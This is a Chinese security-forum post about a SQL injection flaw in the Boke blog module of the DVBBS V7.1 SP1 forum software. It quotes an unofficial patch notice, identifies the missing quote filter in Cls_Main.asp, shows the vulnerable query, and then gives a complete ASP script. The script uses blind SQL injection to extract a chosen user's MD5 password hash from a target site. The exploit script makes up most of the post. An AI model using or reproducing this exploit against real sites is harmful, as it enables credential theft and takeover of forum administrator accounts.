文章作者:execsl
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
刚才在《安全公告》版看到:
动网论坛(DVBBS V7.1 SP1)Boke安全更新补丁20060302
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
补丁来源:[Bug.Center.Team-漏洞预警中心小组] http://www.cnbct.org
补丁名称:动网论坛(DVBBS V7.1 SP1)Boke安全更新补丁20060302
详细说明:
该补丁为[Bug.Center.Team-漏洞预警中心小组]发布,针对DVBBS V7.1 SP1 Boke程序的安全漏洞所制作的安全更新补丁,压缩包内存在ACCESS和MS_SQL两个版本,因程序影响面广,所以公布安全更新,请使用该版本的用户及时下载或者停止Boke服务,等待官方补丁发布.
Boke程度当中的Cls_Main.asp存在严重的安全漏洞,致使恶意用户可以远程注射网站。DVBBS官方已经更新其漏洞,但没见发布安全补丁。所以此为非官方发布版本。
如有问题,请访问[Bug.Center.Team-漏洞预警中心小组]官方网站咨询。
就自己下载安装DVBBS V7.1 SP1
对应一下发现只是在 Cls_Main.asp 中加入了一句:ArchiveLink = Replace(ArchiveLink,"'","")
ArchiveLink 中可提取出 BokeName的值
如果不过滤 “'”,将会在 205 行产生注入漏洞,具体代码为
Sql = "Select UserID,UserName,NickName,BokeName,PassWord,BokeTitle,BokeChildTitle,BokeNote,JoinBokeTime,PageView,TopicNum,FavNum,PhotoNum,PostNum,TodayNum,Trackbacks,SpaceSize,XmlData,SysCatID,BokeSetting,LastUpTime,SkinID,Stats,S.S_SkinName,S.S_Path,S.S_ViewPic,S.S_Info,S.S_Builder From [Dv_Boke_User] U Inner Join [Dv_Boke_Skins] S On U.SkinID = S.S_ID"
Sql = Lcase(Sql)
If BokeName<>"" Then
Sql = Sql & " where BokeName = '"&BokeName&"'"
ElseIf BokeUserID>0 Then
Sql = Sql & " where UserID = "&BokeUserID
Else
'请选取相关的DVBOKE,返回综合列表
Exit Sub
End If
自己就写了一段ASP代码,自动获得MD5密码,水平有限,高手勿笑。
<br><br>
<br><br>
<br><br>
<center>
<div align='left' style="width:500px;font-size:12px;">
<%
'==================================================
'
'请将 http://www.target.com/boke.asp 修改为有漏洞的URL
' 将 admin 改为您要读取密码的用户ID
'
'==================================================
Server.ScriptTimeout=300
Response.Buffer = True
Dim hehefulsh
Dim charhex,OpenURL,templen,tempstr,newgetlen,theoffset,theURL,TheUser
Set hehefulsh = CreateObject("Microsoft.XMLHTTP")
charhex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
tempstr=""
for total=0 to 15
for theoffset=0 to 15
templen=0
OpenURL="http://www.target.com/boke.asp?admin'and'" & tempstr & charhex(theoffset) & "'=left(password," &total+1& ")and''='.index.html.index.html"
hehefulsh.Open "Get",OpenURL, False, "", ""
hehefulsh.Send
GetPage = BytesToBstr(hehefulsh.ResponseBody)
If InStr(GetPage,"该博客用户不存在或填写的资料有误!")=0 Then
tempstr=tempstr & charhex(theoffset)
response.write "前" & total+1 & "位MD5值为:" & tempstr & " 其他密码正在读取中,请等待。。。<BR>"
Response.Flush
Exit for
End if
Next
Next
response.write "<br><br><br>成功读取密码的MD5值,为:" & tempstr & " <BR><BR><BR>请不要使用本程序进行破坏行为!"
Set hehefulsh = Nothing
Function BytesToBstr(body)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>
</div>
</center>
补丁包下载:
dvbbs_boke_patch.rar